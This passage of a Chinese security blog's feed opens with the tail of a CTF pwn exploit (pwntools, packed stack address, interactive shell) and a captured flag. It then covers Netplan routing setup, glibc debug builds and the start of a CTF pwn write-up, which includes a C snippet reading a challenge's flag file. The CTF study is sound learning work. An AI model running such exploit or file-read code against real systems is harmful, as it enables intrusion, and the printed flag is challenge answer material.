&lt;&#x2F;span&gt;&lt;span&gt;sh.sendlineafter(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;Command: &amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;b&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;2a&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span&gt;p64(stack_addr&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;8&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span&gt;))
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;sh.interactive()
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;flag:&lt;code&gt;NCTF{6EEC8679F86732CA7A38E63D3B37D35A}&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;h1 id=&quot;misc&quot;&gt;Misc&lt;&#x2F;h1&gt;
&lt;p&gt;有手就行。。。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="zh">
        <title>Netplan虚拟机双网卡配置</title>
        <published>2020-11-15T00:00:00+00:00</published>
        <updated>2020-11-15T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://richar.top/netplan-config/"/>
        <id>https://richar.top/netplan-config/</id>
        
        <content type="html" xml:base="https://richar.top/netplan-config/">&lt;h1 id=&quot;bei-jing&quot;&gt;背景&lt;&#x2F;h1&gt;
&lt;p&gt;由于笔记本电脑的网络环境总是会变化，导致虚拟机的网络ip不能固定，因此我给虚拟机设置了两块网卡，一块是Host-only，名为&lt;code&gt;enp0s3&lt;&#x2F;code&gt;，网段为&lt;code&gt;192.168.137.0&#x2F;24&lt;&#x2F;code&gt; ；另一块是网络地址转换(NET)，用于访问互联网，名为&lt;code&gt;eth0&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;默认的设置会导致访问互联网时有时会走&lt;code&gt;eth1&lt;&#x2F;code&gt;，导致无法上网。也就是路由表配置错误。&lt;&#x2F;p&gt;
&lt;p&gt;一开始的路由表如下&lt;&#x2F;p&gt;
&lt;pre style=&quot;background-color:#383838;color:#e6e1dc;&quot;&gt;&lt;code&gt;&lt;span&gt;$ route
&lt;&#x2F;span&gt;&lt;span&gt;Kernel IP routing table
&lt;&#x2F;span&gt;&lt;span&gt;Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
&lt;&#x2F;span&gt;&lt;span&gt;default         192.168.137.1   0.0.0.0         UG    0      0        0 eth0
&lt;&#x2F;span&gt;&lt;span&gt;default         10.0.3.2        0.0.0.0         UG    100    0        0 eth1
&lt;&#x2F;span&gt;&lt;span&gt;10.0.3.0        0.0.0.0         255.255.255.0   U     100    0        0 eth1
&lt;&#x2F;span&gt;&lt;span&gt;192.168.137.0   0.0.0.0         255.255.255.0   U     0      0        0 eth0
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;可以看到有两个&lt;code&gt;default&lt;&#x2F;code&gt;，导致上网会使用&lt;code&gt;eth0&lt;&#x2F;code&gt;。可以输入&lt;code&gt;sudo route del eth0 gw 192.168.137.1&lt;&#x2F;code&gt;临时解决。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;jie-jue-fang-an&quot;&gt;解决方案&lt;&#x2F;h1&gt;
&lt;p&gt;这里使用&lt;code&gt;netplan&lt;&#x2F;code&gt;配置网络，在&lt;code&gt;&#x2F;etc&#x2F;netplan&#x2F;&lt;&#x2F;code&gt;下新建任意名称的&lt;code&gt;yaml&lt;&#x2F;code&gt;文件，内容如下：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;yaml&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-yaml &quot;&gt;&lt;code class=&quot;language-yaml&quot; data-lang=&quot;yaml&quot;&gt;&lt;span style=&quot;color:#e8bf6a;&quot;&gt;network&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e8bf6a;&quot;&gt;version&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;2
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e8bf6a;&quot;&gt;renderer&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;networkd
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e8bf6a;&quot;&gt;ethernets&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e8bf6a;&quot;&gt;eth0&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e8bf6a;&quot;&gt;dhcp4&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;no
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e8bf6a;&quot;&gt;addresses&lt;&#x2F;span&gt;&lt;span&gt;: [&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;192.168.137.3&#x2F;24&lt;&#x2F;span&gt;&lt;span&gt;]
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e8bf6a;&quot;&gt;optional&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;true
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;#这里不能写gateway4，不然会路由表里会创建一个default的记录
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e8bf6a;&quot;&gt;eth1&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e8bf6a;&quot;&gt;dhcp4&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;yes
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e8bf6a;&quot;&gt;addresses&lt;&#x2F;span&gt;&lt;span&gt;: []
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e8bf6a;&quot;&gt;optional&lt;&#x2F;span&gt;&lt;span&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;true
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e8bf6a;&quot;&gt;nameservers&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;                &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e8bf6a;&quot;&gt;addresses&lt;&#x2F;span&gt;&lt;span&gt;: [&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;101.6.6.6&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;8.8.8.8&lt;&#x2F;span&gt;&lt;span&gt;]
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;然后，用命令&lt;code&gt;sudo netplan apply&lt;&#x2F;code&gt;就可以生效了。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;can-kao-wen-zhang&quot;&gt;参考文章&lt;&#x2F;h1&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;blog.csdn.net&#x2F;tjsxin&#x2F;article&#x2F;details&#x2F;94390346&quot;&gt;Ubuntu18.04下双网卡内外网设置 - 大橘为重之大橘已定&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
</content>
        
    </entry>
    <entry xml:lang="zh">
        <title>glibc编译与调试</title>
        <published>2020-11-13T00:00:00+00:00</published>
        <updated>2020-11-13T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://richar.top/glibc-debug/"/>
        <id>https://richar.top/glibc-debug/</id>
        
        <content type="html" xml:base="https://richar.top/glibc-debug/">&lt;h1 id=&quot;bian-yi&quot;&gt;编译&lt;&#x2F;h1&gt;
&lt;p&gt;首先肯定是要下载glibc源码，可以去&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;ftp.gnu.org&#x2F;gnu&#x2F;glibc&#x2F;&quot;&gt;官网&lt;&#x2F;a&gt;，国内也可以去&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;mirrors.tuna.tsinghua.edu.cn&#x2F;gnu&#x2F;glibc&#x2F;&quot;&gt;清华镜像&lt;&#x2F;a&gt;下载。&lt;&#x2F;p&gt;
&lt;p&gt;编译的时候要带有调试信息，并选择合适的输出目录。大概需要10min。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span&gt;mkdir build
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;cd&lt;&#x2F;span&gt;&lt;span&gt; build
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;echo &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;CFLAGS += -fno-stack-protector&amp;quot; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt; configparms
&lt;&#x2F;span&gt;&lt;span&gt;..&#x2F;configure CFLAGS=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;-O1 -g3 -ggdb&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt; CXXFLAGS=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;-O1 -g3 -ggdb&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt; --disable-werror --prefix&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;&#x2F;home&#x2F;richar&#x2F;glibc&#x2F;lib&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt; --enable-cet
&lt;&#x2F;span&gt;&lt;span&gt;make
&lt;&#x2F;span&gt;&lt;span&gt;make install
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;sheng-cheng-yong-yu-diao-shi-de-cheng-xu&quot;&gt;生成用于调试的程序&lt;&#x2F;h1&gt;
&lt;p&gt;对于一般的elf执行文件，肯定是默认到系统目录去找libc。有两种方式可以自己指定链接的libc位置，一种是在编译的时候加上选项，但这只能用于自己编译的程序。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span&gt;gcc&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt; -g3 -ggdb -o&lt;&#x2F;span&gt;&lt;span&gt; hello hello.c&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt; -Wl&lt;&#x2F;span&gt;&lt;span&gt;,-rpath=&#x2F;home&#x2F;richar&#x2F;glibc&#x2F;lib&#x2F;lib&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt; -Wl&lt;&#x2F;span&gt;&lt;span&gt;,--dynamic-linker=&#x2F;home&#x2F;richar&#x2F;glibc&#x2F;lib&#x2F;lib&#x2F;ld-2.32.so
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;另一种是用&lt;code&gt;patchelf&lt;&#x2F;code&gt;修改程序的链接位置这种更加灵活&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span&gt;patchelf&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt; --set-interpreter&lt;&#x2F;span&gt;&lt;span&gt; &#x2F;home&#x2F;richar&#x2F;glibc&#x2F;lib&#x2F;lib&#x2F;ld-2.32.so&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;  --set-rpath&lt;&#x2F;span&gt;&lt;span&gt; &#x2F;home&#x2F;richar&#x2F;glibc&#x2F;lib&#x2F;lib &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span&gt;执行文件&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;]
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;diao-shi&quot;&gt;调试&lt;&#x2F;h1&gt;
&lt;p&gt;调试时就可以看到libc源码了。如图&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;richar.top&#x2F;glibc-debug&#x2F;.&#x2F;debug.png&quot; alt=&quot;debug&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h1 id=&quot;libcsearch-libc-database&quot;&gt;LibcSearch&amp;amp;libc-database&lt;&#x2F;h1&gt;
&lt;p&gt;由于&lt;code&gt;LibcSearch&lt;&#x2F;code&gt;自带的&lt;code&gt;libc-database&lt;&#x2F;code&gt;版本太老，所以直接把github上最新的&lt;code&gt;libc-database&lt;&#x2F;code&gt;下载下来，&lt;code&gt;LibcSearch&lt;&#x2F;code&gt;里的&lt;code&gt;libc-database&lt;&#x2F;code&gt;目录直接替换成软链接这样就可以方便的更新libc库了。命令如下&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span&gt;rm&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt; -rf&lt;&#x2F;span&gt;&lt;span&gt; LibcSearch&#x2F;libc-database
&lt;&#x2F;span&gt;&lt;span&gt;ln&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt; -s&lt;&#x2F;span&gt;&lt;span&gt; libc-database LibcSearch&#x2F;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;然后把自己编译的libc库添加进&lt;code&gt;libc-database&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span&gt;libc-database&#x2F;add glibc&#x2F;lib&#x2F;lib&#x2F;libc-2.32.so
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;完工！&lt;&#x2F;p&gt;
&lt;h1 id=&quot;can-kao-wen-zhang&quot;&gt;参考文章&lt;&#x2F;h1&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;blog.csdn.net&#x2F;astrotycoon&#x2F;article&#x2F;details&#x2F;52662685&quot;&gt;源码级调试glibc - astrotycoon&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.jianshu.com&#x2F;p&#x2F;3b219df2b2bd&quot;&gt;使用题目给定的libc动态调试 - HAPPYers&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
</content>
        
    </entry>
    <entry xml:lang="zh">
        <title>第11届极客大挑战-Pwn WriteUp</title>
        <published>2020-10-24T00:00:00+00:00</published>
        <updated>2020-10-24T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://richar.top/geek11pwn/"/>
        <id>https://richar.top/geek11pwn/</id>
        
        <content type="html" xml:base="https://richar.top/geek11pwn/">&lt;h1 id=&quot;shu-xue-zha-yang&quot;&gt;数学咋样？&lt;&#x2F;h1&gt;
&lt;p&gt;也就20道加法，手算也可以（bushi。&lt;&#x2F;p&gt;
&lt;p&gt;还是用&lt;code&gt;python&lt;&#x2F;code&gt;写个脚本吧。。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;from &lt;&#x2F;span&gt;&lt;span&gt;pwn &lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;*
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span&gt;re
&lt;&#x2F;span&gt;&lt;span&gt;sh &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span&gt;remote(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;81.69.0.47&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1111&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;sum&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;while &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;True&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;try&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;        a&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;sh.recvline(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;keepends&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;False&lt;&#x2F;span&gt;&lt;span&gt;).decode()
&lt;&#x2F;span&gt;&lt;span&gt;        findings&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;re.findall(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;r&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;!\[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\]  num_1 = (&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;[0-9]&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;), num_2 = (&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;[0-9]&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,a)
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;len&lt;&#x2F;span&gt;&lt;span&gt;(findings)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;!=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;sum&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span&gt;(findings[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;][&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;])&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span&gt;(findings[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;][&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;])
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;print&lt;&#x2F;span&gt;&lt;span&gt;(a)
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;a&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;==&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;I can&amp;#39;t calculate the expression &amp;#39;num_1 + num_2&amp;#39;.&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;            sh.recvuntil(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;input your answer:&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;            sh.sendline(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;str&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;sum&lt;&#x2F;span&gt;&lt;span&gt;))
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;except &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;EOFError&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;        sh.close()
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;runcode&quot;&gt;runcode&lt;&#x2F;h1&gt;
&lt;p&gt;有点不太明白出题的意图，直接文件读取就行了。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;#include&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;lt;stdio.h&amp;gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;int &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;main&lt;&#x2F;span&gt;&lt;span&gt;() {
&lt;&#x2F;span&gt;&lt;span&gt;    FILE &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span&gt;f&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;fopen&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;&#x2F;home&#x2F;ctf&#x2F;flag&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;r&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;char&lt;&#x2F;span&gt;&lt;span&gt; buf[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;255&lt;&#x2F;span&gt;&lt;span&gt;];
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;fgets&lt;&#x2F;span&gt;&lt;span&gt;(buf,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;255&lt;&#x2F;span&gt;&lt;span&gt;,f);
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;printf&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;%s&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,buf);
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;return &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;liuzhuang-secret&quot;&gt;liuzhuang-secret&lt;&#x2F;h1&gt;
&lt;p&gt;文件: pwn00&lt;&#x2F;p&gt;
&lt;p&gt;非常简单的ret2text，找到溢出点和后门地址。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;richar.top&#x2F;geek11pwn&#x2F;.&#x2F;liuzhuang-secret.png&quot; alt=&quot;liuzhuang-secret&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
